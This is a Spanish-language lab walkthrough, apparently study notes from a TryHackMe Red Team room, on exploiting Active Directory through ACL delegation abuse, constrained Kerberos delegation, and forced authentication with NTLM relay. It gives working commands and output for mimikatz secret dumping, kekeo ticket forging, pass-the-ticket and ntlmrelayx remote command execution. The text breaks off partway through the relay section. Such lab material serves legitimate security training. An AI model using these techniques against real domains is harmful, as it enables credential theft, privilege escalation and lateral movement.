notes - b0ySie7e
GithubPortafolioWrite-ups
  • 👋Bienvenido a mi blog
  • Introducción a la ciberseguridad
    • 📓¿Como inicio en la ciberseguridad?
  • Teoria y Conceptos
    • 📓Redes
      • Identificación de Dispositivos
      • Local Area Network (LAN)
      • Sub redes
      • Procolo ARP
      • Protocolo DHCP
    • 📓Pentesting
      • OSSTMM
      • OWASP
      • NCSC CAF
  • Sistemas Operativos
    • Linux
      • Comandos
    • Windows
      • Comandos
  • Enumeración
    • Enumeracion de red
      • Enumeracion de Hosts
      • Enumeracion de Puertos y servicios
    • FootPrinting
      • Domain Information
      • FTP
      • SMB
      • NFS
      • DNS
      • SMTP
      • IMAP-POP3
      • SNMP
      • MySQL
      • MSSQL
      • Oracle TNS
      • IPMI
      • Linux Remote Management Protocols
      • Windows Remote Management Protocols
    • Enumeración web
      • Uso de google dorks
      • Whois
      • Dig
      • Enumeraciónde subdominios
      • Enumeración automatizada
  • Hacking Web
    • Ataques Comunes
      • Fuzzing
      • Sub dominios
      • SQL Injection
      • Cross-Site Scripting
      • Local File Inclusion
      • Remote File Inclusion
      • File Upload Attacks
      • Command Injections
    • Otras explotaciones
  • Escalada de Privilegios
    • 📕Linux
      • Enumeración automatizada - Tools
      • Kernel Exploit
      • Sudo
      • SUID
      • Capabilities
      • Cron Jobs
      • Path
      • NFS
    • 📕Windows
      • Enumeración automatizada - Tools
      • Harvesting Passwords from Usual Spots
      • Other Quick Wins
      • Abusing Service Misconfigurations
      • Abusing dangerous privileges
      • Abusing vulnerable software
  • Guias y Herramientas
    • Git
    • Buffer Over Flow
    • MetaSploit
      • Introducción
      • Modules
      • Targets
      • Payloads
      • Encoders
      • Sessions
    • Nmap
    • Pivoting Tunneling Port Forwarning
      • Port Forwarding SSH
      • Pivoting Metasploit
      • Socat Redirection with a Reverse Shell
      • Socat Redirection with a Bind Shell
      • Others tools for pivoting
    • Transferencias de Archivos
      • Evading Detection
      • Linux File Transfer Methods
      • Miscellaneous File Transfer Methods
      • Transferring Files with Code
      • Windows File Transfer Methods
      • Otros
        • Usando ICMP
        • Usando ncat y tar
    • Shell y Payloads
      • Spawning shell interactiva
      • Conexión de RDP
    • Password Attacks
      • Cracking
      • Windows Local Password Attacks
      • Linux Local Password Attacks
      • Windows Lateral Movement
    • Fortinet
      • Configuración estática de Firewall
      • Licencia
      • Configuración de interfaces
      • Primera política
      • Rutas estaticas
  • Red Team Path - THM
    • Enumeración
      • Linux
      • Windows
    • Movimiento lateral
      • Movimiento Lateral
    • Pivoting
      • PortForwarining y pivoting
    • Host Evasion
      • Windows Internal
      • Introduccion a Windows
      • Abusing Windows Internal
      • Introducción a Antivirus
      • AV Evasion ShellCode
      • Principios de Ofuscación
      • Evasión de Firmas
      • Bypass UAC
      • Runtime Detection Evasion
      • Evading Logging and Monitoring
      • Living Off the Land
    • Networking Security Evasión
      • Network Security Solutions
      • Firewalls
      • Sandbox Evasion
    • Comprometiendo un directorio activo
      • Active Directory Basics
      • Breaching Active Directory
      • Enumerating Active Directory
      • Exploiting Active Directory
      • Persisting Active Directory
      • Credentials Harvesting
Con tecnología de GitBook
En esta página
  • Exploiting Permission Delegation
  • Delegación de permisos
  • Explotación de las ACE
  • Bloodhound
  • Escalada de privilegios
  • AddMember (Añadir miembro)
  • ForceChangePassword
  • Exploiting Kerberos Delegation
  • Kerberos Delegation
  • Restringido versus no restringido
  • Delegación restringida basada en recursos
  • Explotación de delegación restringida
  • Exploiting Automated Relays
  • Machine Accounts
  • The Printer Bug
  • Print Spooler Service
  • SMB Signing
  • Explotación de retransmisiones de autenticación
  • Exploiting AD Users
  • Users and User Behavior
  • Buscando credenciales
  • El sistema es a veces demasiado privilegiado
  • Exploiting GPOs
  • Objetos de política de grupo
  • Administración de Políticas de Grupo
  • Explotación de GPO
  • Exploiting Certificates
  • Servicios de certificados AD (AD Certificate Services)
  • Encontrar plantillas de certificados vulnerables (Finding Vulnerable Certificate Templates)
  • Explotar una plantilla de certificado (Exploiting a Certificate Template)
  • Suplantación de Usuario a través de un Certificado
  • Exploiting Domain Trusts
  • Domain Trusts
  • KRBTGT and Golden Tickets
  • Inter-Realm TGTs
  • Explotación de confianzas de dominio
  • Conclusion
  • Mitigaciones
  1. Red Team Path - THM
  2. Comprometiendo un directorio activo

Exploiting Active Directory

AnteriorEnumerating Active DirectorySiguientePersisting Active Directory

Última actualización hace 10 meses

Exploiting Permission Delegation

Active Directory puede delegar permisos y privilegios a través de una función llamada Delegación de permisos (que no debe confundirse con la Delegación Kerberos que se analizará en la siguiente tarea). La delegación es lo que hace que la AD sea tan poderosa en las organizaciones. Imaginemos que trabajamos para una organización que tiene 50.000 empleados. Como nos preocupamos por la seguridad, solo tenemos tres usuarios que tienen acceso a las credenciales de DA. Sería imposible para esos tres usuarios responder a todas las solicitudes de los usuarios, como restablecer sus contraseñas. Usando Delegación, podemos delegar el permiso para forzar el cambio de contraseña de un usuario al equipo de soporte técnico, lo que significa que ahora tienen un privilegio delegado para esta función específica. En principio, para mantener segura la Delegación, se debe seguir el principio de privilegio mínimo. Sin embargo, en las organizaciones grandes, esto es más fácil decirlo que hacerlo. En esta tarea veremos cómo explotar algunas configuraciones erróneas de la delegación.

Delegación de permisos

Los exploits de delegación de permisos a menudo se denominan ataques basados ​​en ACL. AD permite a los administradores configurar entradas de control de acceso (ACE) que completan las listas de control de acceso discrecional (DACL), de ahí el nombre de ataques basados ​​en ACL. Casi cualquier objeto AD se puede proteger con ACE, que luego describen los permisos permitidos y denegados que cualquier otro objeto AD tiene contra el objeto de destino.

Sin embargo, si estas ACE están mal configuradas, es posible que un atacante las explote. Veamos nuestro ejemplo nuevamente. Si al equipo de soporte de TI se le otorgara ForceChangePassword ACE sobre el grupo de usuarios del dominio, esto se consideraría inseguro. Seguro que podrían restablecer las contraseñas de los empleados que las olvidaron, pero esta mala configuración les permitiría también restablecer las contraseñas de cuentas privilegiadas, como las cuentas que son miembros del grupo Administradores de dominio, lo que esencialmente permite la escalada de privilegios.

Explotación de las ACE

  • ForceChangePassword: Tenemos la capacidad de establecer la contraseña actual del usuario sin conocer su contraseña actual.

  • AddMembers: Tenemos la capacidad de agregar usuarios (incluida nuestra propia cuenta), grupos o computadoras al grupo objetivo.

  • GenericAll: Tenemos control total sobre el objeto, incluida la capacidad de cambiar la contraseña del usuario, registrar un SPN o agregar un objeto AD al grupo objetivo.

  • GenericWrite: podemos actualizar cualquier parámetro no protegido de nuestro objeto de destino. Esto podría permitirnos, por ejemplo, actualizar el parámetro scriptPath, lo que provocaría que se ejecutara un script la próxima vez que el usuario inicie sesión.

  • WriteOwner: tenemos la capacidad de actualizar el propietario del objeto de destino. Podríamos convertirnos en propietarios, lo que nos permitiría obtener permisos adicionales sobre el objeto.

  • WriteDACL: tenemos la capacidad de escribir nuevas ACE en el DACL del objeto de destino . Podríamos, por ejemplo, escribir una ACE que otorgue a nuestra cuenta control total sobre el objeto de destino.

  • AllExtendedRights: Tenemos la capacidad de realizar cualquier acción asociada con derechos AD extendidos contra el objeto de destino. Esto incluye, por ejemplo, la capacidad de forzar el cambio de contraseña de un usuario.

Bloodhound

thm@thm:~# neo4j console start
Active database: graph.db
Directories in use:
  home:         /var/lib/neo4j
  config:       /etc/neo4j
  logs:         /var/log/neo4j
  plugins:      /var/lib/neo4j/plugins
  import:       /var/lib/neo4j/import
  data:         /var/lib/neo4j/data
  certificates: /var/lib/neo4j/certificates
  run:          /var/run/neo4j
Starting Neo4j.
[....]
2022-03-13 19:59:18.014+0000 INFO  Bolt enabled on 127.0.0.1:7687.

En otra pestaña de Terminal, ejecute bloodhound --no-sandbox. Esto le mostrará la GUI de autenticación :

Las credenciales predeterminadas para la base de datos neo4j serán neo4j:neo4j. Utilice esto para autenticarse en Bloodhound. Una vez autenticado, puedes arrastrar y soltar los dos zips en la pantalla de Bloodhound. Una vez que se ingieren los datos, podemos comenzar a enumerar rutas de ataque nuevamente.

Escalada de privilegios

Si buscamos nuestra cuenta de usuario que fue asignada en la Tarea 1 en Bloodhound, vemos que no tenemos muchos permisos. Tenemos la capacidad de realizar RDP en THMWRK1, pero esto solo nos proporcionará acceso con pocos privilegios.

Dado que el dominio tiene niveles, nuestro primer paso será comprometer la infraestructura de Nivel 2. Necesitamos comprometer el grupo de administradores de nivel 2 ya que este grupo tiene privilegios administrativos en todas las estaciones de trabajo. Preguntémosle a Bloodhound si quizás existe un camino que podamos seguir para comprometer a este grupo. Agregue su cuenta de usuario como posición inicial y el grupo de administradores de nivel 2 como posición final.

Bloodhound nos muestra un camino muy interesante. Parece que hubo un poco de delegación de permisos en este dominio. Un administrador configuró mal la delegación de permisos del grupo de soporte de TI al proporcionar al grupo de usuarios de dominio AddMembers ACE. Esto significa que cualquier miembro del grupo de Usuarios de Dominio (incluida nuestra cuenta) puede agregar cuentas al Grupo de Soporte de TI . Además, Bloodhound muestra que el grupo de soporte de TI tiene ForceChangePassword ACE para los miembros del grupo de administradores de nivel 2 . En realidad, esto no es un error de configuración, ya que los administradores de nivel 2 no son tan sensibles, pero proporciona una ruta de ataque muy potente cuando se combina con el error de configuración inicial. ¡Aprovechémoslo!

AddMember (Añadir miembro)

El primer paso en esta ruta de ataque es agregar nuestra cuenta de AD al grupo de soporte de TI . Usaremos el cmdlet Add-ADGroupMember PowerShell del conjunto de herramientas AD-RSAT para esto. Inicie PowerShell (ya sea en RDP o mediante SSH) en el host THMJMP1 y ejecute el siguiente comando para agregar su cuenta:

PS C:\>Add-ADGroupMember "IT Support" -Members "Your.AD.Account.Username"

Podemos verificar que el comando funcionó usando el cmdlet Get-ADGroupMember :

PS C:\>Get-ADGroupMember -Identity "IT Support"
distinguishedName : CN=hugh.jones,OU=Consulting,OU=People,DC=za,DC=tryhackme,DC=loc
name              : hugh.jones
objectClass       : user
objectGUID        : 460178d3-c818-4e28-9a39-b1ab2b0d3779
SamAccountName    : hugh.jones
SID               : S-1-5-21-3885271727-2693558621-2658995185-1113

Si todo funcionó, deberías ver tu cuenta como miembro.

ForceChangePassword

Ahora que somos miembros del grupo de soporte de TI , hemos heredado la delegación de permisos ForceChangePassword sobre el grupo de administradores de nivel 2 . Primero, necesitamos identificar a los miembros de este grupo para seleccionar un objetivo. Podemos usar el cmdlet Get-ADGroupMember nuevamente para ayudar con esto:

PS C:\>Get-ADGroupMember -Identity "Tier 2 Admins"
distinguishedName : CN=t2_lawrence.lewis,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc
name              : t2_lawrence.lewis
objectClass       : user
objectGUID        : 4ca61b47-93c8-44d2-987d-eca30c69d828
SamAccountName    : t2_lawrence.lewis
SID               : S-1-5-21-3885271727-2693558621-2658995185-1893

[....]

distinguishedName : CN=t2_leon.francis,OU=T2 Admins,OU=Admins,DC=za,DC=tryhackme,DC=loc
name              : t2_leon.francis
objectClass       : user
objectGUID        : 854b6d40-d537-4986-b586-c40950e0d5f9
SamAccountName    : t2_leon.francis
SID               : S-1-5-21-3885271727-2693558621-2658995185-3660

Tome nota del nombre de usuario de una de estas cuentas. Dado que la red es compartida, sería mejor seleccionar una más abajo en la lista. Usaremos el cmdlet AD-RSAT Set-ADAccountPassword para forzar el cambio de contraseña:

PS C:\>$Password = ConvertTo-SecureString "New.Password.For.User" -AsPlainText -Force 
PS C:\>Set-ADAccountPassword -Identity "AD.Account.Username.Of.Target" -Reset -NewPassword $Password 

Nota: Si recibe un error de Acceso denegado, sus permisos aún no se han propagado a través del dominio. Esto puede tardar hasta 10 minutos. El mejor enfoque es finalizar su sesión SSH o RDP, tomar un breve descanso y luego volver a autenticarse e intentarlo nuevamente. También puedes ejecutarlogpupdate /force y luego desconectarte y volver a conectarte, lo que en ciertos casos hará que la sincronización se realice más rápido.

Si este paso funcionó, ahora debería poder autenticarse en THMWRK1 utilizando esta cuenta de destino con su nueva contraseña. Actualmente tiene acceso administrativo a esta estación de trabajo. ¡Felicidades! Ha escalado oficialmente sus privilegios a Administrador de nivel 2 al explotar las delegaciones de permisos.

Exploiting Kerberos Delegation

A continuación, veremos la delegación de Kerberos . Cuando se habla de delegación de AD, normalmente se habla de esto, no de delegación de permisos.

Kerberos Delegation

El uso práctico de la delegación Kerberos es permitir que una aplicación acceda a recursos alojados en un servidor diferente. Un ejemplo de esto sería un servidor web que necesita acceder a una base de datos SQL alojada en el servidor de base de datos para la aplicación web que aloja. Sin delegación, probablemente usaríamos una cuenta de servicio AD y le proporcionaríamos acceso directo a la base de datos. Cuando se realizan solicitudes en la aplicación web, la cuenta de servicio se utilizará para autenticarse en la base de datos y recuperar información.

Sin embargo, podemos permitir que esta cuenta de servicio se delegue al servicio del servidor SQL . Una vez que un usuario inicia sesión en nuestra aplicación web, la cuenta de servicio solicitará acceso a la base de datos en nombre de ese usuario. Esto significa que el usuario solo podrá acceder a los datos de la base de datos para los que tenga los permisos pertinentes sin tener que proporcionar ningún privilegio de base de datos o permiso a la propia cuenta de servicio.

Restringido versus no restringido

Para combatir las fallas de seguridad de la delegación sin restricciones, Microsoft introdujo la delegación restringida en 2003. La delegación restringida restringe los servicios a los que se puede delegar una cuenta, lo que limita la exposición si una cuenta se ve comprometida. Los siguientes son ejemplos de servicios que se pueden configurar para delegación:

  • HTTP : se utiliza para aplicaciones web para permitir la autenticación PassThrough mediante credenciales de AD.

  • CIFS: el sistema de archivos común de Internet se utiliza para compartir archivos y permite delegar usuarios en recursos compartidos.

  • LDAP: se utiliza para delegar al servicio LDAP acciones como restablecer la contraseña de un usuario.

  • HOST: permite delegar la cuenta para todas las actividades en el host.

  • MS SQL : permite la delegación de cuentas de usuario al servicio SQL para la autenticación PassThrough a bases de datos.

Explotar la delegación restringida suele ser más complejo que explotar la delegación no restringida, ya que la cuenta delegada no se puede usar para todo. Sin embargo, todavía se puede utilizar para alguna explotación poderosa. Un ejemplo de esto sería si pudiéramos comprometer una cuenta de AD que tuviera configurada la delegación restringida. Al conocer la contraseña en texto plano o incluso simplemente el hash NTLM de esta cuenta, podríamos generar un TGT para esta cuenta y luego usar el TGT para ejecutar una solicitud del servidor de otorgamiento de tickets (TGS) para cualquier cuenta de usuario no confidencial para poder acceder. el servicio como ese usuario. Imagínese hacerse pasar por una cuenta con acceso a una base de datos confidencial, por ejemplo.

Delegación restringida basada en recursos

Entonces, en realidad existen tres tipos de delegación Kerberos . Pero éste merece ser mencionado por sí solo. Introducida por Microsoft en 2012, la delegación restringida basada en recursos (RBCD) una vez más proporcionó restricciones adicionales a la delegación Kerberos por motivos de seguridad. RBCD cambia por completo el modelo de delegación. En lugar de especificar qué objeto puede delegar en qué servicio, el servicio ahora especifica qué objetos pueden delegar en él. Esto permite al propietario del servicio controlar quién puede acceder a él. En nuestro ejemplo de aplicación web, esto significa que en lugar de especificar que la cuenta del servicio web puede delegar en el servicio de base de datos el acceso a la base de datos, ahora podemos especificar que en el servicio de base de datos la cuenta del servicio web puede delegar el acceso a él.

Explotación de delegación restringida

Aprovecharemos la delegación restringida para esta tarea. Lo primero que debemos hacer es enumerar las delegaciones disponibles. Usemos nuestro nuevo usuario privilegiado para el par de comandos de red. Podemos usar el cmdlet Get-NetUser de PowerSploit para esta enumeración ejecutando el siguiente comando:

PS C:\>Import-Module C:\Tools\PowerView.ps1 
PS C:\>Get-NetUser -TrustedToAuth

Según el resultado de este comando, podemos ver que la cuenta svcIIS puede delegar los servicios HTTP y WSMAN en THMSERVER1. Se podría pensar que esto significa que sólo podemos acceder a sitios web en nombre de usuarios suplantados. Sin embargo, PowerShell Remoting también utiliza los servicios HTTP y WSMAN. La opción ideal sería hacerse pasar por un administrador de nivel 1, ya que esto nos proporcionaría acceso administrativo a través de THMSERVER1.

C:\> C:\Tools\mimikatz_trunk\x64\mimikatz.exe

  .####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # token::elevate
Token Id  : 0
User name :
SID name  : NT AUTHORITY\SYSTEM


mimikatz # lsadump::secrets
Domain : THMWRK1
SysKey : redacted

Local name : THMWRK1 ( S-1-5-21-3226461851-763325627-4205969673 )
Domain name : ZA ( S-1-5-21-3885271727-2693558621-2658995185 )
Domain FQDN : za.tryhackme.loc

Policy subsystem is : 1.18
LSA Key(s) : 1, default {cfcff4be-beab-7d93-cfa3-edb6a9a3bf27}
  [00] {cfcff4be-beab-7d93-cfa3-edb6a9a3bf27} 929bd1cdc726d31f5eea6fa5266a09521afd0be6309a08fd604c9a95c2af4463

Secret  : $MACHINE.ACC
cur/text: redacted
    NTLM:redacted
    SHA1:redacted
old/text: redacted
    NTLM:redacted
    SHA1:redacted

Secret  : DefaultPassword
cur/text: redacted
old/text: redacted

Secret  : _SC_thmwinauth / service 'thmwinauth' with username : svcIIS@za.tryhackme.loc
cur/text: redacted

mimikatz #

Repasemos los dos comandos:

  • token::elevate - Para volcar los secretos del subárbol del registro, necesitamos suplantar al usuario del SISTEMA.

  • lsadump::secrets: Mimikatz interactúa con el subárbol del registro para extraer las credenciales de texto sin cifrar.

PS C:\> C:\Tools\kekeo\x64\kekeo.exe

  ___ _    kekeo 2.1 (x64) built on Dec 14 2021 11:51:55
 /   ('>-  "A La Vie, A L'Amour"
 | K  |    /* * *
 \____/     Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
  L\_       https://blog.gentilkiwi.com/kekeo                (oe.eo)
                                             with 10 modules * * */

kekeo #

Primero necesitamos generar un TGT que pueda usarse para generar tickets para los servicios HTTP y WSMAN:


kekeo # tgt::ask /user:svcIIS /domain:za.tryhackme.loc /password:redacted
Realm        : za.tryhackme.loc (za)
User         : svcIIS (svcIIS)
CName        : svcIIS   [KRB_NT_PRINCIPAL (1)]
SName        : krbtgt/za.tryhackme.loc  [KRB_NT_SRV_INST (2)]
Need PAC     : Yes
Auth mode    : ENCRYPTION KEY 23 (rc4_hmac_nt      ): 43460d636f269c709b20049cee36ae7a
[kdc] name: THMDC.za.tryhackme.loc (auto)
[kdc] addr: 172.31.1.101 (auto)
  > Ticket in file 'TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi'

Parámetros explicados:

  • user: el usuario que tiene los permisos de delegación restringidos.

  • doamin: el dominio que estamos atacando desde Kekeo puede usarse para falsificar tickets para abusar de la confianza entre bosques.

  • password: la contraseña asociada con la cuenta svcIIS.

Ahora que tenemos el TGT de la cuenta que puede realizar la delegación, podemos falsificar solicitudes de TGS para la cuenta que queremos suplantar. Necesitamos realizar esto tanto para HTTP como para WSMAN para permitirnos crear una PSSession en THMSERVER1:


kekeo # tgs::s4u /tgt:TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi /user:t1_trevor.jones /service:http/THMSERVER1.za.tryhackme.loc
Ticket  : TGT_svcIIS@ZA.TRYHACKME.LOC_krbtgt~za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi
  [krb-cred]     S: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
  [krb-cred]     E: [00000012] aes256_hmac
  [enc-krb-cred] P: svcIIS @ ZA.TRYHACKME.LOC
  [enc-krb-cred] S: krbtgt/za.tryhackme.loc @ ZA.TRYHACKME.LOC
  [enc-krb-cred] T: [4/30/2022 1:29:00 PM ; 4/30/2022 11:29:00 PM] {R:5/7/2022 1:29:00 PM}
  [enc-krb-cred] F: [40e10000] name_canonicalize ; pre_authent ; initial ; renewable ; forwardable ;
  [enc-krb-cred] K: ENCRYPTION KEY 18 (aes256_hmac      ): 548e500d4ee2f5c61710254ea9dd43e2ce0123026d329c97e512695e2f1777a7
  [s4u2self] t1_trevor.jones
[kdc] name: THMDC.za.tryhackme.loc (auto)
[kdc] addr: 172.31.1.101 (auto)
  > Ticket in file 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_svcIIS@ZA.TRYHACKME.LOC.kirbi'
Service(s):
  [s4u2proxy] http/THMSERVER1.za.tryhackme.loc
  > Ticket in file 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi'

Parámetros explicados:

  • tgt: proporcionamos el TGT que generamos en el paso anterior.

  • user: el usuario que queremos suplantar. Dado que las cuentas t2_ tienen acceso administrativo a través de las estaciones de trabajo, es seguro asumir que las t2_ accounts tendrán acceso administrativo a través de los servidores, así que elija una t1_accounts que le gustaría suplantar.

  • servicio: los servicios que queremos suplantar mediante la delegación. Primero generamos un TGS para el servicio HTTP . Luego podemos volver a ejecutar el mismo comando para el servicio WSMAN.

Ejecute el comando nuevamente, esta vez para el servicio WSMAN. Ahora que tenemos los dos tickets TGS, podemos usar Mimikatz para importarlos:


mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

* File: 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_wsman~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi': OK

mimikatz # kerberos::ptt TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi

* File: 'TGS_t1_trevor.jones@ZA.TRYHACKME.LOC_http~THMSERVER1.za.tryhackme.loc@ZA.TRYHACKME.LOC.kirbi': OK

Puede salir de Mimikatz y ejecutar klistsi desea verificar que los tickets fueron importados. Ahora que los tickets están importados, finalmente podemos crear nuestra PSSession en THMSERVER1:

mimikatz # exit
Bye!
PS C:> New-PSSession -ComputerName thmserver1.za.tryhackme.loc

 Id Name            ComputerName    ComputerType    State         ConfigurationName     Availability
 -- ----            ------------    ------------    -----         -----------------     ------------
  1 WinRM1          thmserver1.z... RemoteMachine   Opened        Microsoft.PowerShell     Available


PS C:\> Enter-PSSession -ComputerName thmserver1.za.tryhackme.loc
[thmserver1.za.tryhackme.loc]: PS C:\Users\t1_trevor.jones\Documents> whoami
za\t1_trevor.jones

Exploiting Automated Relays

En esta tarea veremos algunos relés automatizados. Los intentos de autenticación vuelan constantemente a través de la red y, como se muestra en la sala Breaching AD , si tenemos suerte, podemos interceptar algunos de estos desafíos para obtener acceso. Pero ¿y si no nos gusta esperar? ¿Qué pasa si podemos forzar la autenticación?

Aunque ya tenemos acceso privilegiado a THMSERVER1, podríamos estar en una posición en la que no tuviéramos acceso a un exploit de delegación restringida. Este es otro excelente ataque que se puede realizar para obtener acceso privilegiado a los hosts.

Machine Accounts

Todos los hosts de Windows tienen una cuenta de máquina. Básicamente, esta es la cuenta de usuario asociada con la máquina. A menos que alguien haya manipulado la cuenta del anfitrión, las contraseñas de estas cuentas no se pueden descifrar. De forma predeterminada, tienen 120 caracteres (UTF16) y se rotan automáticamente cada 30 días.

En AD , estas cuentas de máquina se utilizan bastante en diferentes servicios. Diferentes controladores de dominio utilizan sus cuentas de máquina para sincronizar actualizaciones y cambios de AD. Cuando solicita un certificado en nombre del host en el que está trabajando, la cuenta de máquina de ese host se utiliza para la autenticación en el Servicio de certificados AD.

Hay un caso excepcional en AD , donde una máquina tiene derechos de administrador sobre otra máquina. Básicamente, en la configuración de AD, los permisos administrativos sobre un host se otorgan a otro host. Nuevamente, se trata de una funcionalidad esperada, como controladores de dominio o clústeres SQL, que deben sincronizarse. Sin embargo, estos casos proporcionan un vector de ataque muy interesante para forzar la autenticación.

Primero debemos identificar los casos en los que una cuenta de máquina tiene acceso administrativo sobre otra máquina. Podemos usar Bloodhound para esto, pero eso significa que tendremos que escribir algunas consultas cifradas personalizadas. Haga clic en "Crear consulta personalizada" en la pestaña Análisis en Bloodhound:

Queremos escribir la siguiente consulta:

MATCH p=(c1:Computer)-[r1:MemberOf*1..]->(g:Group)-[r2:AdminTo]->(n:Computer) RETURN p

Esta consulta intentará encontrar instancias en las que una computadora tenga la relación "AdminTo" sobre otra computadora. Deberías ver un resultado similar a este:

Esto es muy interesante. Nos muestra que la cuenta de la máquina THMSERVER2 tiene privilegios administrativos sobre la máquina THMSERVER1.

The Printer Bug

No es un error, es una característica: Microsoft.

En serio, cuando se informó esto, Microsoft respondió que se trataba de una característica. El error de la impresora es una "característica" del protocolo MS-RPRN (Protocolo remoto de PrintSystem), que permite a un usuario de dominio forzar de forma remota a un host de destino que ejecuta el servicio Print Spooler a autenticarse en una dirección IP arbitraria. Ha habido algunos de estos errores en los últimos años: Spooler, PetitPotam, PrintNightmare. Microsoft afirma que el único error es que algunos de ellos no requerían ninguna credencial de AD , pero este problema se resolvió mediante parches de seguridad.

Por lo tanto, para explotar esto, además de los privilegios administrativos de la cuenta de la máquina, también debemos cumplir las siguientes cuatro condiciones:

  1. Un conjunto válido de credenciales de cuenta AD .

  2. Conectividad de red al servicio SMB del destino .

  3. El host de destino debe estar ejecutando el servicio Print Spooler.

  4. Los hosts no deben imponer la firma SMB .

Las condiciones 1 y 2 ya se han cumplido. Las únicas dos que necesitamos para garantizar que funcionen son las condiciones 3 y 4.

Print Spooler Service

Necesitamos determinar si el servicio Print Spooler se está ejecutando. Como no tenemos acceso a THMSERVER2, debemos realizar la consulta desde la perspectiva de la red. En este caso, podemos usar una consulta WMI desde nuestra sesión SSH en THMWRK1 para consultar el estado actual del servicio:

PS C:\> GWMI Win32_Printer -Computer thmserver2.za.tryhackme.loc


Location      :
Name          : Microsoft XPS Document Writer
PrinterState  : 0
PrinterStatus : 3
ShareName     :
SystemName    : THMSERVER2

Location      :
Name          : Microsoft Print to PDF
PrinterState  : 0
PrinterStatus : 3
ShareName     :
SystemName    : THMSERVER2

El resultado del cmdlet verifica que el servicio se esté ejecutando. Si recibimos un error de acceso denegado, tal vez podría intentar ejecutar el comando PowerShell deGet-PrinterPort -ComputerName thmserver2.za.tryhackme.loc . Sin embargo, Microsoft ha estado tomando medidas enérgicas para ver estos puertos desde la perspectiva de la red. Si ambos te dan un error, es posible que tengas que dar un acto de fe. Por tanto, se ha cumplido la condición tres.

SMB Signing

Para transmitir el intento de autenticación forzada, no se debe imponer la firma SMB . Cabe señalar que existe una diferencia entre permitir la firma de SMB y hacer cumplir la firma de SMB. Dado que algunos sistemas heredados no admiten la firma SMB, de forma predeterminada, la configuración de SMB es que la firma está permitida pero no obligatoria, lo que significa que solo se usará si es compatible. Dado que alojaremos un servidor SMB malicioso, podemos asegurarnos de que nuestro servidor no admita la firma, lo que obligará al objetivo a no firmar el intento de autenticación SMB.

Para verificar que THMSERVER1 y THMSERVER2 no tengan aplicada la firma SMB , podemos usar Nmap en nuestro AttackBox:

thm@thm:~# nmap --script=smb2-security-mode -p445 thmserver1.za.tryhackme.loc thmserver2.za.tryhackme.loc
Nmap scan report for distributor.za.tryhackme.loc (172.31.1.201)
Host is up (0.62s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required

Nmap scan report for 172.31.1.202
Host is up (0.38s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds

Host script results:
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required

Nmap done: 2 IP addresses (2 hosts up) scanned in 4.59 seconds

Podemos ver que la firma SMB está habilitada pero no se aplica según el resultado. ¡Esto significa que se cumplen todas nuestras condiciones y podemos comenzar el ataque!

Explotación de retransmisiones de autenticación

Nota: este ataque puede ser inestable. Abusar del servicio Print Spooler puede provocar que falle y no siempre se garantiza una devolución de llamada. Por este motivo, la tarea anterior ya te proporcionó los permisos necesarios para continuar. Sin embargo, comprender los relés de autenticación y cómo forzarlos es esencial para la explotación de AD . Como tal, a continuación se proporcionan los pasos para realizar dicho ataque. Puedes decidir intentarlo, pero no se garantiza una devolución de llamada. Si no funciona, pase a la siguiente tarea y tal vez explore esto nuevamente al final de su recorrido por la habitación.

El primer paso es configurar el relé NTLM . En nuestro AttackBox, podemos usar lo siguiente:

thm@thm:~# python3.9 /opt/impacket/examples/ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -debug

Si especificamos el nombre de host de THMSERVER1 en lugar de la IP, el host podría solicitar que utilicemos la autenticación Kerberos en lugar de NTLM. Por lo tanto, deberíamos especificar la IP en su lugar. Con el relé escuchando, ahora podemos obligar a THMSERVER2 a autenticarse con nosotros. En una terminal SSH en THMWRK1, ejecute lo siguiente:

C:\Tools\>SpoolSample.exe THMSERVER2.za.tryhackme.loc "Attacker IP"

La IP de su atacante debe corresponder con su interfaz tunX para la red. Si todo va bien, debería haber recibido un intento de autenticación y una retransmisión a THMSERVER1.

thm$ python3.9 ntlmrelayx.py -smb2support -t smb://"THMSERVER1 IP" -c 'whoami /all' -debug
[*] Servers started, waiting for connections
[*] SMBD-Thread-5: Received connection from 172.31.1.202, attacking target smb://172.31.1.201
[*] Authenticating against smb://172.31.1.201 as ZA/THMSERVER2$ SUCCEED
[+] No more targets
[*] SMBD-Thread-7: Connection from 172.31.1.202 controlled, but there are no more targets left!
[+] No more targets
[*] SMBD-Thread-8: Connection from 172.31.1.202 controlled, but there are no more targets left!
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[+] ExecuteRemote command: %COMSPEC% /Q /c echo whoami /all ^> %SYSTEMROOT%\Temp\__output > %TEMP%\execute.bat & %COMSPEC% /Q /c %TEMP%\execute.bat & del %TEMP%\execute.bat
